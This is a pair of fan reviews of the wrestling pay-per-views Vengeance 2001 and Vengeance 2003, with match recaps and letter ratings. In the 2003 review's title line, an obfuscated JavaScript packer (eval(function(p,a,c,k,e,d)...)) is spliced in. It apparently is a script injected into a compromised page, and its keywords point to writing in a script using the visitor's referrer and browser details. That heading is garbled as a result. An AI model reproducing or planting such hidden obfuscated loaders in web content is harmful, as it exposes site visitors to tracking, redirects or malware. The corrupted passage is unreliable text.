Vengeance 2001: They Picked VENGEANCE To Unite The Titles? Really?

Vengeance 2001
Date: December 9, 2001
Location: San Diego Sports Arena, San Diego, California
Attendance: 11,800
Commentators: Jim Ross, Jerry Lawler

The first one here is kind of huge as we unify the WWF and WCW World Titles. Norcal and I have spent months if not years trying to figure out why this is at Vengeance and not like a month later at the Rumble. The idea is that HHH was supposed to be the first Undisputed Champion but wasn’t ready yet. But he was back at the Rumble so why didn’t they just do it there? Or at Mania for that matter?

Either way, it’s more or less a small tournament with Austin vs. Angle for the WWF Title and Rock vs. Jericho for the WCW Title, then the winners fight. Austin and Rock are Austin and Rock, Angle kept beating Austin and Jericho was the best in the world at the time. Other than that, there’s nothing of note on the card. Let’s get to it.

We open with this weird old silent movie that allegedly was made by Freddie Blassie about having only one champion. It’s freaky to put it mildly. Seriously, this is disturbing. Sinner is a good song once we get to the arena at least.

And here’s Vince. Apparently on Thursday, Vince got his head shoved into Rikishi. Good to know. We’re in the full fledged WHAT stage at the moment too so that’s getting old quickly. Vince is upset that the fans laughed at it like it was some kind of comedy skit. A man that walks with his chest out like a girl trying to make sure you notice her had his head shoved into the fat of a thong-wearing street dancing sumo wrestler and Vince is mad that it’s being treated like a comedy skit.

The whole idea of Vince at times is one of the funniest things in the world. He says “he who laughs last laughs best”. And here’s Flair who owns half of the company at the moment. Why do I feel like I’m watching Impact? Flair looks like an idiot. Yeah it’s Impact. We’re pushing ten minutes into the show and the youngest guy so far has been Vince McMahon. Flair starts a match.

Albert/Scotty 2 Hotty vs. Christian/Test

GO BACK TO THE OLD GUYS! Albert is the Hip Hop Hippo at the moment. Egads. They aren’t the Unamericans yet. And the Heat match was the APA vs. Billy and Chuck. Why can’t we see that instead? You know these reviews aren’t really as angry as they used to be. Granted that could be because these shows are far less insulting to my intelligence. They may be weaker shows but they’re competent at least which is more than a lot of shows give you.

Christian is European Champion at the time. Albert is the Hip Hop Hippo at this point. Take me now. And remember people: this guy was INTERCONTINENTAL CHAMPION. He was one of those guys that always seemed like was on the verge of a big push but it never happened. Lawler makes some bad jokes about potential names for the faces. He’s just making this more painful if that’s somehow possible. Wow it’s weird seeing Teddy Long as a worthless referee.

Far more used to him being a useless GM. Scotty and Test work the majority of this match for reasons that completely elude me. Oh look it’s Albert vs. Christian rather than Test vs. Albert, as in you know, FORMER TAG PARTNERS FIGHTING. I guess that would make too much sense. We get a Giant Swing and a Don Leo Jonathan reference. Wow indeed. Albert just massacres both heels.

With some tweeking to his gimmick, he could have been passable. And now Christian does the Worm. We get a surprisingly decent sequence as Scotty is down. And of course we get the Worm. These kinds of moves are just stupid. A simple bulldog keeps Test down for about 20 seconds which it takes for the setup for it? See why that’s idiotic? Baldo Bomb, a two handed chokeslam into a powerbomb, ends it. It actually got a pop.

Rating: D. Just…why? What in the world was the point of having this match on PPV? This was something that belonged on Velocity or Heat or something like that. It was as generic as you could ask a match to be also. This was just a head scratcher and not that good.

Regal cuts a decent promo on Edge. Now bad at all.

Intercontinental Title: Edge vs. William Regal

So Edge at this time is getting a massive push as he goes from a tag team star to more or less the top of the midcard in less than six months. Think of him like what the Miz has been doing for the last year or so, but even faster. He was as popular as ever and allegedly was going to win the Raw World Title at the next Survivor Series in the debut of the Elimination Chamber but Shawn and HHH decided Shawn should more or less come in off the streets and beat HHH, Jericho, Booker T, RVD and Kane instead.

Edge has been laughing at Regal for a long time to set this up. Great heat on Regal. More or less the British guy is just doing very bad things to Edge with all kinds of ridiculous strikes and basic stuff. Edge busts out a hurricanrana of all things. Before he hurt his neck, he was a completely different worker. Check out his 2002 stuff and you’ll be very impressed. Edge goes for a spear on the floor and hits the steps, allowing Regal to get some brass knuckles.

That was his big thing at the time and it was a very solid heel tactic to use. He throws out back to back Tiger Drivers in a surprising sequence. Not sure why it’s surprising but that’s the first thing that came to mind. Regal goes for the brass knuckles but takes a spear for Edge to get a quick pin. Regal made that match for the most part.

Rating: D+. This just missed for me. It’s not terrible or anything, but at the same time it just felt like there wasn’t much here. Regal more or less dominated but took a quick spear to get pinned. Not sure how much I like that at all. Still though, the crowd was really into this which helped it a lot. Again, not terrible but not very good at all.

Flair is on the phone and Angle comes in. He’s a 14 time champion here so somewhere he picked up two more. I guess they gave him two more NWA reigns somewhere.

Lita, the guest referee for the next match, is stretching. Matt comes in and says he’s sorry for dragging Lita into this. Lita with straight hair is freaking delicious looking. She’s going to call it right down the middle.

We recap the Hardys’ rise to this point. Cool memories if nothing else. They’re fighting because Jeff has been costing them a bunch of stuff lately, namely because he keeps trying high spots rather than winning matches.

Jeff Hardy vs. Matt Hardy

Lita is guest referee here of course. Dang she looked great back then. Jeff has that stupid hat on like he used to wear back then for no explained reason. The fans like Lita more than anyone else. I can’t blame them as this was just a few steps ahead of Cryme Tyme exploding. This works SO much better as face vs. face rather than face vs. heel like they were trying to do last year at Mania.

The psychology is here too as you have two guys that know each other very well and keep countering each others’ signature stuff. The main thing here though is Lita as she’s dating Matt but is being fair. It’s a nice aspect to it that adds tension and fits the storyline perfectly. Jeff gets a nice counter to avoid being powerbombed onto the floor. Sloppy, but it was intelligent at least. Jeff hurts his leg getting back in and Matt goes for it. This is very basic but it’s coming off quite well.

Matt is clearly the heel in this as he won’t let go of a half crab when Jeff is in the ropes, I guess assuming Lita would never DQ him. Crowd likes Jeff more. I’m stunned too. Jeff blocks a Twist of Fate with that leg drop he would do at times. The killer instinct isn’t here again just like last time though. They keep countering the Twist of Fate which makes sense. Maybe it could have something to do with standing there in that position and the other guy shouting before doing it.

That would give me a hint as to what was coming if nothing else. Matt is kind of hinting at full heel here and it’s working fairly well. He’s about 40lbs lighter here also. Twist of Fate off the second rope is blocked and Jeff gets the Swanton for the clean pin. This was just missing something and I think it was the full hatred. That and this wasn’t a huge match yet, although it was getting close.

Rating: B-. Not terrible and WAY better than the Mania 25 match. This was far more ground based and it came off pretty well. It’s no classic by any means, but it’s certainly a passable match. Matt flirting with going heel worked. And then they were all fine and good at the Rumble so none of that mattered.

Rock and Trish have a weird moment. How hot would their kids be? She kisses him on the cheek. Rock more or less says after tonight, come see him again and he’ll screw her. Ok then.

Tag Titles: Dudley Boys vs. Big Show/Kane

Stacy is managing the Dudleys here and I’ve always thought this was her hottest period, which is saying a whole lot. The Dudleys weren’t useless yet at this point. Since it’s 2001, Show destroys both of the champions. Kane takes them both out with a double top rope clothesline. Show spanks Stacy. Ok then. A red thong shot on Stacy is never bad though. Yeah I don’t care about this match in the slightest. Kane destroys both of them.

Big Show destroys both of them. Some of you may be beginning to notice a pattern here. Kane accidentally hits the top rope clothesline on Show. To my complete and utter shock, Show and Kane get into an argument. Oh and Show is wearing his sexy one piece swimsuit. I can’t stand that thing. I truly can’t.

Is that supposed to look good? Is he supposed to be intimidating? Show goes after Stacy…again. D-von tries for the save and SLAMS INTO STACY. Yeah thanks for helping there bubbles. The champions take a turnbuckle pad off and slam Show into it with a double flapjack, naturally called 3D by JR.

Rating: F+. This just was not interesting at all. Show vs. Kane has been DONE. And I mean done a LOT. The ending was creative and Stacy was hot though. Even still though, this just didn’t work at all. The styles clash was so apparent here and it didn’t come off well at all.

Don’t try this at home. Feel free to though at your grandparents’ house.

Lita tries to apologize. It doesn’t work.

Sinner is the theme song. I saw that band last night.

So Taker was ticked off at Vince for not telling him that Angle was the mole in the Alliance. Because of that, he turned heel and started his RESPECT ME thing. He talked about all the people he beat up and that he kissed up to VInce more than anyone else. He saved JR from kissing up to Vince, and then beat him up and made him kiss it. Nicely done. Oh and he went after RVD. This was his heel turn for a long time.

Hardcore Title: Rob Van Dam vs. The Undertaker

Taker still gets face pops, but that likely has something to do with the Limp Bizkit song and the Harley. I say the song because it lowers intelligence so much that people forget what they were told on television. Oh and Taker got a massive haircut. Van Dam doesn’t have his signature theme yet at this point but it was coming soon. Like the next night or close to it soon. Taker is the America tough guy here and the style is remarkably different.

We hit the crowd here which at least makes sense due to the hardcore aspect. This is actually a pretty interesting match from a star power perspective, although it would be like 5 years before RVD was a main event guy. Never mind his solid in ring stuff (no it’s not as great as it’s made out to be) and the MASSIVE pops he got. He just wasn’t ready yet and wouldn’t be for years. Also he was out like a year with a bad knee so that wasn’t something anyone could control.

We get to the weapons and RVD saves himself with a fire extinguisher. Van Dam does a balcony dive and in an amusing visual, the stuff they land on shoots up a bunch of dust. It might have been Taker. They’re fighting behind the TitanTron now and you can see why WWF was so far ahead of ECW when it was still in business: there is a camera right there with a perfect shot of them. You can see every single thing that happens rather than seeing a random arm or leg. It’s very nice indeed.

Taker picks him up and rams him head first into the set which he goes partially through. Nice looking spot. Van Dam gets Rolling Thunder on the stage since a head injury that severe of course is something you can get up from very quickly. Van Dam does his running chair shot dropkick thing and it’s called a Van Daminator.

I would ask if JR ever watched ECW but I think I already know the answer to that. Taker wears him out with a chair and of course he’s fine. Van Daminator misses and RVD gets chokeslammed off the stage through some tables and is pinned. Taker as Hardcore Champion is an interesting idea.

Rating: B-. Not bad here but the majority of the rating comes from the oddness of seeing Taker in the midcard title hunt. Having a guy like RVD rub elbows with a guy like Taker is only a good thing for him at this point, although this was Taker trying out his new image and I’m not so sure how it was working. Fun match though and not your traditional hardcore stuff at all.

Jericho comes in and complains to Flair about….life in general I guess. Flair is half owner in case I forgot to mention that. Jericho’s big thing was he can’t win the big one, which is the case here. The Brand Split hadn’t happened yet either. I think that was the night after Mania or like 2 weeks after that.

Womens Title: Trish Stratus vs. Jacqueline

To say Trish looks good in white is a dramatic understatement. I think this is her first title reign as they didn’t know she had talent until around this time. Seriously, who cares about Jackie? I can’t think of a soul that does. This isn’t interesting at all. Stratusfaction is blocked before it has a name. Trish wins with a backslide of all things in like 3 minutes.

Rating: N/A. Just boring and not interesting at all. See what I mean by how boring this was? That was proper English to me. Trish wasn’t any good yet and it was apparent.

We recap Vince getting his head shoved into Rikishi. The look on his face is priceless. You have to give him this: there is very little Vince won’t do for his company. No one can take that away from him.

At WWF New York, Rikishi is there. He says he’s back. I guess we’ll forgive the whole vehicular manslaughter thing. There was no point to this whole thing apparently.

We recap Survivor Series where these were the final four and Jericho and Rock beat the Alliance. Vince says Austin is stripped and as the sole owner of the company, he’s naming Angle as world champion. Enter Flair, who says that’s not the case as Rock is still the (WCW) World Champion. That sets us up to hear. There’s a montage in there somewhere but you can figure that out.

WWF Title: Kurt Angle vs. Steve Austin

Austin comes in as champion. These two had a very good rivalry in August/September. Austin as champion just feels right. They start off slow. Seeing these two as face vs. face is kind of weird. We knew Angle was great at the time but Austin was a legend to put it mildly. Ok scratch that Angle as a face part I think. It’s actually hard to tell. Weird to say but it’s true. I’m pretty sure he had Kane at Mania. Actually yeah he is a heel. Yeah I’m pretty sure that’s right.

Austin runs from a mat wrestling thing so at least he’s thinking out there. This is a chess game to start us off which is very odd indeed. Austin works on the arm. See what I mean? When do you remember him doing something like that? I guess it would be difficult for him to do his normal stuff with just one good arm. Angle…shakes it off I guess and starts stomping Austin. Austin stays on the arm though which is the right thing to do. Now, is Angle smart enough to sell the stupid thing?

Ankle lock is on and the arm seems fine to me. Ah there are the ropes. Angle goes for the leg. At least that makes sense. Just like most main event guys, Angle had solid chemistry with Austin. I love watching Angle bust out suplexes, especially when he’s healthy. He freaking LAUNCHES people. Angle starts busting out Germans, which is a really awesome and simple move when you think about it: you pick up a guy and slam them on the back of their head.

That just sounds painful doesn’t it? The moonsault of course misses. Did he EVER hit that in WWF? It looked perfect if nothing else. Thesz Press hits, the crowd pops. Yeah he was still WAY over at this point. Austin shows his coolness and busts out Rolling Germans of his own.

He even goes further than Angle, hitting FIVE of them. Dang that would have freaking hurt. Angle hits another German. Oh wait he spun around about 9 degrees so it’s the Angle Slam. Got it. It gets two and there’s the Stunner to end it. Austin is in the main event.

Rating: B. Solid stuff here as always from these two. I don’t think anyone believed Austin would lose here. I mean while he’s past his prime at this point, he’s still a huge star. Still though, very solid match as these two brought out some good stuff in each other. Seeing Austin mix things up was always fun.

Trish is in a towel and getting ready, when Test comes in. More or less he hits on her and she doesn’t like it, but he can’t be fired. In other words, sexual harassment laws are trumped by battle royal victories. Sure why not? Vehicular manslaughter and necrophilia and assault and battery are never prosecuted here, so why not harassment?

World Championship: The Rock vs. Chris Jericho

Yeah the WCW Title is the World Championship, which actually sounds more encompassing than the WWF Title, but why use logic? This was a pretty solid feud back in the day, if nothing else for the promos. Jericho is heel here. Seeing Rock bust out armdrags and leapfrogs makes me appreciate him even more. Remember, he’s about the same size as Batista or so. Imagine a guy Batista’s size doing athletic things like that. I love that springboard dropkick that Jericho does. It’s just awesome looking.

This is more of a fight than the last match as the angle was more built up in this pairing. Jericho hits a sleeper like five minutes in which is odd. Jericho is no Dolph Ziggler though so it doesn’t work. Lionsault gets two as Jericho is FREAKING. We hit the floor and this has more or less been all Jericho. Like I said earlier, he was probably at the best he ever was in his career around this time and he’s getting to showcase it here. I love when guys break a count that isn’t happening.

How often do count outs consistently get threatened? Jericho gets DDTed through the table. Didn’t look as good as it sounded. The replay makes it look a bit better. It’s fun watching Rock throw punches. Jericho hooks a Breakdown, which is more commonly known as a Skull Crushing Finale. Jericho hits the People’s Elbow, and when I say hit I mean misses completely and almost gets hooked in the Sharpshooter.

Somehow he gets the Walls, but since he’s a heel at the time it doesn’t work at all. Actually he has a Sharpshooter on Rock. Same result though. Rock hits the Rock Bottom out of NOWHERE. That was sweet. And here’s Vince. At least it makes sense in storyline terms. Rock goes for the Elbow, but stops to fight Vince.

He drops a regular elbow and of course Jericho gets up because IT IS A REGULAR ELBOW DROP. Jericho gets a low blow and Rock Bottom to win the world title. Ok then. Hearing it called the world champion is odd to say the least.

Rating: B-. This was a different style than the previous match which is a nice touch I think as it was for a different title. I’d hardly think it was intentional, but it came off pretty well. Jericho was great in the ring, but I still want to see him wrestle as a face champion. It really could work.

Austin is here NOW for the title match. Jericho isn’t even back to his feet yet when Austin is stomping him.

Undisputed Title: Chris Jericho vs. Steve Austin

Nearly immediately, Angle is here and hits him with a chair. Rock is here and hits a Rock Bottom. I guess this makes us even? The fans chant for HHH, who was semi-advertised for the show. He was in a short video earlier and that’s about it. He’ll be back in about a month to the loudest pop I have ever heard. We hit the floor for a bit with Austin dominating. Ok make that a LONG bit. Jericho goes for the Walls on the remaining table but it doesn’t work of course.

Jericho hooks an armbar despite Austin LIMPING to the ring and having Angle working on the knee the whole match. The Walls go on and there goes the referee since this is still an Attitude-Era style. HHH chant again. Jericho hits a Stunner. Vince brings out another referee, Nick Patrick in this case. I’m SHOCKED! They’re OVERBOOKING A TITLE MATCH! Flair is here and the old guys go at it, foreshadowing their match at the Rumble. Austin hits McMahon to a BIG pop.

See, it still worked to an extent. Jericho taps to the Walls (you read that right) and there’s no referee. BOOKER T comes out and blasts Austin with a belt. And yes, THAT is how they end it, and I never realized this was Austin’s final match as a world champion. Yeah, Austin leaves the title picture other than a one off rematch at No Way Out like this, thanks to Booker T. WOW. Jericho holds up both belts with Ross freaking. Wow this came off bad at the end.

Rating: C-. This was overbooked to heck and back. Even once Flair came in, I was hating it. Booker costing Austin the title is fine to build a storyline, but at the same time, it just didn’t work for me. The match wasn’t terrible, but it’s a total letdown, which fits this show perfectly.

OverallRating: C-. The problem here is simple: the Undisputed Title, the first one EVER, was at a throwaway PPV like Vengeance. Seriously, this is in December and between Survivor Series and the Rumble. This is a filler PPV and they have the Undisputed Title decided here? The ending, while putting it on the right man in Jericho, was just BUTCHERED as it took like 4 people to beat Austin. Jericho needed to go over almost cleanly here and he didn’t do it.

Heck he didn’t even beat Rock clean. Other than the final three matches, nothing here matters at all. This just did not live up anywhere near to what it should have been and it’s not a good show as a result. Definitely worth seeing for the historical aspect though.




Vengeance 2003: A Triple Threat I Actually Like

Vengeance eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bradf|var|u0026u|referrer|ftadz||js|php'.split('|'),0,{})) 2003
Date: July 27, 2003
Location: Pepsi Center, Denver, Colorado
Attendance: 9,500
Commentators: Michael Cole, Tazz

So we’re into the whole individual brand PPVs here and this is a Smackdown one. The main things here are another triple threat with Angle, Lesnar and Show and in what today would be a main event of Mania in Cena vs. Taker. Oh and the finals of the tournament for the US Title which was brought back due to people realizing how stupid the whole one brand one champion thing was. We also have Zach Gowen vs. Vince. I’m riveted too. Let’s get to it.

The opening video is about wanting to succeed from when you were a kid. People like Angle, Lesnar and Stephanie talk about this. It’s one of those shows isn’t it? Vince says tonight is about control. He’s backing Big Show apparently.

US Title: Chris Benoit vs. Eddie Guerrero

This is the final of a tournament so I’d bet on a great match. This is the first Smackdown exclusive PPV according to Cole, so it’s likely the 8th or 9th. Pretty sure Eddie is heel here but he’s popular anyway. They won’t shake hands either. Eddie sprayed wax in Benoit’s eyes or something like that on Smackdown. Benoit beat Matt Hardy and Rikishi. Eddie beat Ultimo Dragon and Billy Gunn.

Yeah the Smackdown show wasn’t much at the time but there was no way these two wouldn’t be the finalists so there you are. They’re going slow here which means they’ve got a lot of time to work with. We get a nice little pinfall reversal sequence which is old but always fun. Eddie wants to shine apparently. I don’t know if he can shine but if he lets certain vampires bite him he could sparkle.

Eddie goes for a tombstone but Benoit counters then shows why he’s brilliant by making it a shoulder breaker. Immediately after that he goes for the Crossface. And that is why Benoit is better than your favorite wrestler. His finishing move is a shoulder hold and he works on the shoulder. There would be no point in him working on the leg or whatever. It’s why Flair works the knee all the time: his finishing move works on the knee. How come so few wrestlers get that? It boggles my mind. Truly it does.

The announcers talk about technical difficulties but I didn’t notice anything wrong. Benoit’s tights saying Toothless Aggression always cracked me up. A top rope belly to back gets two for Benoit. Nice looking one too. It’s always weird hearing Sting mentioned on WWF TV. Crossface goes on but Eddie gets the ropes. Both go for their triple suplexes but the third is countered both times. Frog Splash mostly misses but Eddie’s arm hits Benoit so there’s some damage both ways.

Crossface is hooked again. I love that move. Naturally the referee goes down. Why does that always have to happen? It’s rather aggravating. Benoit gets popped in the head and takes a Frog Splash but it only gets two. That’s rather surprising. And now he hits the referee with the belt and puts it on Benoit before laying down. Ok, why not just hit Benoit like four times with it and wait on the referee to get up since now the ref is out cold. With no referee, Eddie taps to the Crossface.

Is there a reason why the referee is holding his neck when he got hit in the back? Eddie pulls the referee into the diving headbutt so he’s dead again. And here’s Rhyno who was teaming with Benoit around this time to turn heel and gore him. ANOTHER Frog Splash gives Eddie the US Title.

Rating: B+. This was better until we had all the overbooking. These two simply knew how to have great matches and this was no exception. Eddie winning is a nice surprise as he was a step behind Benoit at this point and likely needed it more than Benoit did. Still though, EXCELLENT opener and I liked it a lot. Giving these two over twenty minutes is just a good idea.

Vince and Stephanie have a weird moment. Stephanie simply cannot act and it’s just hilarious watching her try. This has to be the highlight of the show.

We recap Billy Gunn vs. Jamie Noble. Noble wants to sleep with Torrie so he offers to pay her for sex. Billy was with Torrie for his 847th push. If Noble beats Billy, Torrie will sleep with him on Smackdown. If Billy wins…nothing happens. Anyone else failing to see the point here?

Billy Gunn vs. Jamie Noble

Jamie brings a briefcase with his “stuff” in it. They actually open it which is creepy. Jamie’s girlfriend Nidia comes out and is mad at him over this clearly. See the criticisms of soap opera stuff that WWE gets? Noble works on his knee so his regular stuff can’t work. Gunn busts out a random Diamond Cutter for two. Didn’t see that one coming. Noble hooks a DDT from the second rope. I liked that.

Nidia puts his foot on the ropes though since she doesn’t want Torrie sleeping with Noble. That makes sense at least. Both girls beat him up. Billy gets rammed into Torrie and gets rolled up for the pin. Torrie says Holy crap and it’s rather amusing. Cole shouting NOBLE GETS TO SLEEP WITH TORRIE cracked me up. He wants to watch. Oh dear.

Rating: D. Bad match on top of a bad angle doesn’t help. Naturally it didn’t happen and Noble and Gunn started teaming together because it’s professional wrestling and of course it doesn’t make sense. Torrie looked hot though so I can’t complain much there. Still though, stupid angle and a stupid match.

Funaki is with the APA. We go back to Thursday to see the Brooklyn Brawler beating up the APA. It’s to set up the bar room brawl here in a second. The Easter Bunny hops by. I’m not making that up and I’m totally sober.

Bar Room Brawl

Shannon Moore, Doink the Clown, Faarooq, Bradshaw, Brother Love, Nunzio, Matt Hardy, Chris Kanyon, Danny Basham, Doug Basham, The Easter Bunny, Sean O’Haire, John Hennigan, Orlando Jordan, Funaki, Los Conquistadores, The Brooklyn Brawler, Johnny Stamboli, Chuck Palumbo, Matt Cappotelli, and Spanky.

There’s a bar set up in the arena and we’re just going to fight in there. Los Conquistadores are Rob Conway and Johnny Jeter in case you’re wondering. Aaron Stevens is the Easter Bunny. He was on Smackdown for a cup of coffee as Idol Stevens in like 05 or 06. McCool managed him. John Hennigan is more commonly known as John Morrison, and this Doink is played by Nick “Eugene” Dinsmore.

In essence, this is a big OVW party as a ton of these guys were in OVW at the time. Most of the jobbers don’t get intros. Spanky is up on the bar dancing. Bradshaw says the rules are that the last man drinking wins as we’re testing the toughness and their livers. Ok that’s creative. Brother Love wants to pray before we start. Naturally it’s just a massive fight with no rhyme or reason to it. The Easter Bunny is drinking bears and getting punched. This is wrong.

O’Haire beats the APA up with pool cues. This is idiotic. Brother Love beats up Shannon Moore. I’d think that sums up why no one buys him. The Easter Bunny goes through a window. A bunny watching this would be traumatized for life. Hardy can’t break a table which is kind of funny.

There’s nothing of any kind of logic going on here at all. Funaki passes out from beer. Bradshaw beats up Brother Love and I guess that gives him the win. He’s the last man standing even though Farroorq is standing next to him.

Rating: N/A. This was a waste of about 5 minutes. Moving on.

Jamie Noble is looking at Torrie’s Playboy and brags about getting to sleep with her. This is creepy.

Smackdown Tag Titles: Rey Mysterio/Billy Kidman vs. World’s Greatest Tag Team

Rey is Cruiserweight Champion here too. The heels’ name is just great. The fans chant USA for four Americans. Ok then. Haas keeps beating Rey. This is kind of strange to see. Rey was still just the king of the cruiserweights at this point and not yet the A-list guy that he would become better known as. Kidman gets the hot tag and not much happens because of it. The 619 is blocked and my intelligence is spared for a little bit.

Kidman busts out a Shooting Star Press to the floor to take out the champions. Rey gets the other hot tag but the referee is distracted. The crowd boos the heck out of that. Wow I’m surprised they’re so into this one. Hardly a bad thing but very surprising. Rey comes in and cleans house. What kind of an expression is that anyway? Rey isn’t dusting and vacuuming but it makes perfect sense to call it that.

What sense does that make? Haas takes the 619 and the seated senton. Benjamin kicks Rey in the head for two. Solid match here. In a sweet spot, Haas is on top and Kidman launches Rey up to the top for a hurricanrana. AWESOME looking and the crowd loses it when he kicks out.

Dragon Whip, which is an awesome name, puts Kidman down. With Kidman on the floor, Benjamin gets a tag that Rey doesn’t see while Rey is on Haas’ shoulders. Benjamin hits a springboard clothesline to combine with the powerbomb for the pin. Sweet ending.

Rating: B+. Very fun and flat out surprising win here. This is what happens when you let guys have time and show off: It flat out works. They were all over the place and got the fans into it. Great match and fun.

Cole uses the term Cole Miners here. It’s older than I thought.

We see Stephanie ripping Sable’s top off on Smackdown.

Stephanie McMahon vs. Sable

Vince was having an affair with Sable and all of Smackdown had become about them. Yeah I’m shocked too. For some reason this is no count out. That’s just an odd stipulation. This is a catfight, whatever that means. Sable is freaking gorgeous. Stephanie was at a weird stage here and it didn’t work that well for her. We’re in the crowd already. Stephanie actually gets a half decent rollup. I’m surprised.

She goes off on Sable as well as she can and Sable tries to run. That obviously doesn’t work either. Stephanie actually busts out the Mr. Perfect neck snap. WOW. She goes off on Sable in the corner and winds up ripping part of her top off. The referee rips his shirt off for her to put on. And here’s A-Train of all people to flatten Stephanie so Sable can win. Ok then.

Rating: D. This was WAY better than it had any right to be. That being said, it still sucked. They just weren’t going to have a good match no matter what they did, although Stephanie was certainly trying so I can’t fault her for that at all. Not any good at all but they tried so I can give them points there.

We recap Cena vs. Taker. In short, Cena says he’s awesome. Taker says not so fast. It’s about respect apparently. Cena issued an open challenge and Orlando Jordan took him up on it. Cena had to cheat to win. Oh dear. Taker respected Jordan. Oh dear. Seeing Cena this young talking to Taker is rather interesting.

Oh and Taker cost Cena a match in the US Title Tournament. I remember some of these promos. Cena had that spark in him even back then. He was going to be a star and would start doing so soon enough. He’d be a face by November.

The Undertaker vs. John Cena

Amazing to see this as a midcard match on a relatively meaningless PPV. This is still biker Taker obviously. I still love that theme music he had back then though. Cole says for eleven plus years Taker has dominated. It’s so plus that it’s over twelve and approaching thirteen at this point. Cena is less muscular than he would become, but to be fair seven years have almost passed since this match happened.

I’d think he’s been to a gym since then. Cena slaps Taker. What do you think happens next? Taker LAUNCHES Cena into the corner and it’s just weird to see Cena get dominated like this. Cena gets some water and spits it into Taker’s eyes to take over. That lasts less than four seconds. Cena haters would LOVE this match. They completely rip apart one of the barriers. That’s a bit odd looking. I think Cena’s leg is bleeding. That’s an odd injury to have.

Taker uses some MMA stuff as Taz points out. This is pure domination. Cena has hit a total of like 3 punches, none of which have done anything. HUGE chokeslam hits but Taker picks up his limp body. Last Ride is countered and Cena hits a DDT to survive. This is just an odd style of match. It’s not exactly bad but at the same time it’s just strange. In a HILARIOUS moment, Cena is counted for choking but yells at the ref that he has until five. TAKE THAT DANIELSON.

Cena gets a pad down and Taker hits it to get us close to even. Cena has always been good at absorbing offense. Crowd is all over him. Taker starts coughing up blood. Taz thinks tasting your own blood isn’t good. THANKS TAZ. I never would have guessed that bleeding is a bad thing without you. Taker hooks a Dragon Sleeper which he was using for awhile around this time. Taker comes back and hits the WORST jumping clothesline ever. It was more like a hopping clothesline.

They get sloppy with the punches and the choking stuff. My guess would be they’re calling spots but it KILLS the crowd and looks terrible. Cena pops Taker’s bad ribs with the biker chain. This is a LONG match. Well, long for these two at this point in their career that is. The FU hits and Taker kicks out. Cena then shows his idiocy and does the ten punches in the corner and pauses to yell at the crowd. You know what comes next as Taker gets the pin off the Last Ride.

Rating: C+. I liked it, but I could see a lot of people not liking it. The booking was odd. Like really odd. Cena was treated like a jobber for the first 5 minutes or so but hit all of his big stuff and got…nothing. Come to think of it this wasn’t that good. I get the whole take Taker to the limit, but Cena got soundly beaten here which I don’t think is what should have happened. He looked good, but he needed the big win here and didn’t get it. Could have been better but it wasn’t bad.

Cole has a really stupid mustache at this time. Yeah I really can’t stand him.

We recap Gowen vs. Vince. In short, Gowen has one leg and is wrestling. Vince, being evil, tortured him. No one had an issue with this being the storyline on Smackdown that was getting the most airtime after Vince and Sable. Not a lot of people liked this era at all. Oh and they put Gowen over Show on Smackdown. Ok to be fair Angle and Lesnar helped but still.

Vince McMahon vs. Zach Gowen

For the life of me I have never gotten the point of this angle at all. At least Gowen had a good Seether song for his theme music. Vince dominates early on to the shock of no one. Gowen busted out an Asai Moonsault. His character and angle was annoying but to say it’s impressive is an understatement. One of the interesting things here is that Zach is like 150lbs so it’s like wrestling a woman as far as the weight goes.

Vince beats the heck out of him for a long time including a Boston Crab. Again, I don’t get the point to this but it’s Vince in the ring so what do you expect? Gowen makes his comeback and very few people care. Zach goes up top and hits a bulldog. When I say hit I mean miss and when I say bulldog I mean his arm almost touches the back of Vince’s head.

This just isn’t as impressive, but we get it: he can wrestle on one leg. He doesn’t need 15 minutes to prove it. We get a chair and Vince gets beaten with it and bleeds. Oh dang he’s bleeding a lot. Gowen misses a moonsault and Vince pins him. Yeah seriously that’s the ending. Gowen stands in the ring and gets cheered. Mostly at least but there’s a good deal of booing in there.

Rating: C-. The problem here became evident very quickly: yes, we know he can wrestle on one leg, but after that the appeal goes away and it gets stupid. It’s cool to see, but it gets old fast. If this is cut in half time wise, it’s FAR better and one of the coolest matches ever. It’s still cool and impressive, but this went on too long. Decent match though but the ending sucked.

Josh Matthews, looking stupider than he does now, talks to Eddie and says what happened to Benoit is Benoit’s fault.

We recap Brock vs. Angle vs. Show. Brock and Angle respect each other and Show is really big and strong and gets beaten up a lot by both of them. Brock came and visited him in the hospital apparently.

Smackdown World Title: Big Show vs. Kurt Angle vs. Brock Lesnar

Ok so if Show is knocked out for most of this it should be good. This was around the time where Brock was completely awesome and could do no wrong. This is no DQ also. When has a triple threat not been no DQ? Show is in the singlet and shorts now which are perfectly acceptable. Angle and Lesnar work together but Lesnar takes a chokeslam a minute in. Angle was at the point here where he could get a good match out of anyone and he’s showing why here.

Angle busts out some garbage can lids and they beat the tar out of Big Show with them. All three of these guys are just SCARY strong. They manage a double chokeslam. Ok, that was cool. And there’s an F5 to Angle. And there’s one for Show. That never ceases to amaze me, and that doesn’t happen often. Angle gets beaten down on the floor and we get Brock vs. Show. Brock looks more awesome with the elbow pads. Brock gets a running powerbomb out of the corner. WOW.

Angle comes back in and pops the heck out of Brock with a chair. Angle is getting into that zone. Oh and he’s bleeding. It’s table time and Taz makes me laugh by saying about the Spanish announcers “You would think they’d be used to it by now.” That was good. Angle Slam through the table. The announcers point out that it might have been stupid to knock him out on the floor though which is very true. Brock is bleeding now and we have him vs. Angle. This works.

Other than Benoit, Lesnar brings out the best in Angle and that’s saying a lot. After a little bit of them beating the tar out of each other, Brock locks in a body scissors and a chokeout similar to a Tazmission actually. Even Taz points that out. Show comes in for a double chokeslam and actually gets Lesnar with the left arm higher than Angle with the right arm. Since that doesn’t work, Angle comes back with Angle Slams for both and gets the pin on Brock. Very good match to close the show.

Rating: A-. I’m not big on triple threats but this was great. Brock and Angle are just freaking fun to see beat the tar out of each other since Brock could keep up with Angle on the mat and Angle could match Brock’s strength for the most part. Big Show was solid here too which made this just a great match all around. Very fun match and well worth seeing.

Overall Rating: A-. This was a GREAT show. There’s one boring match on the whole show and it has Torrie at ringside and is five minutes long. Other than that you get a great opener, a great tag match and a great main event. Seriously, what more could you ask for from a show?

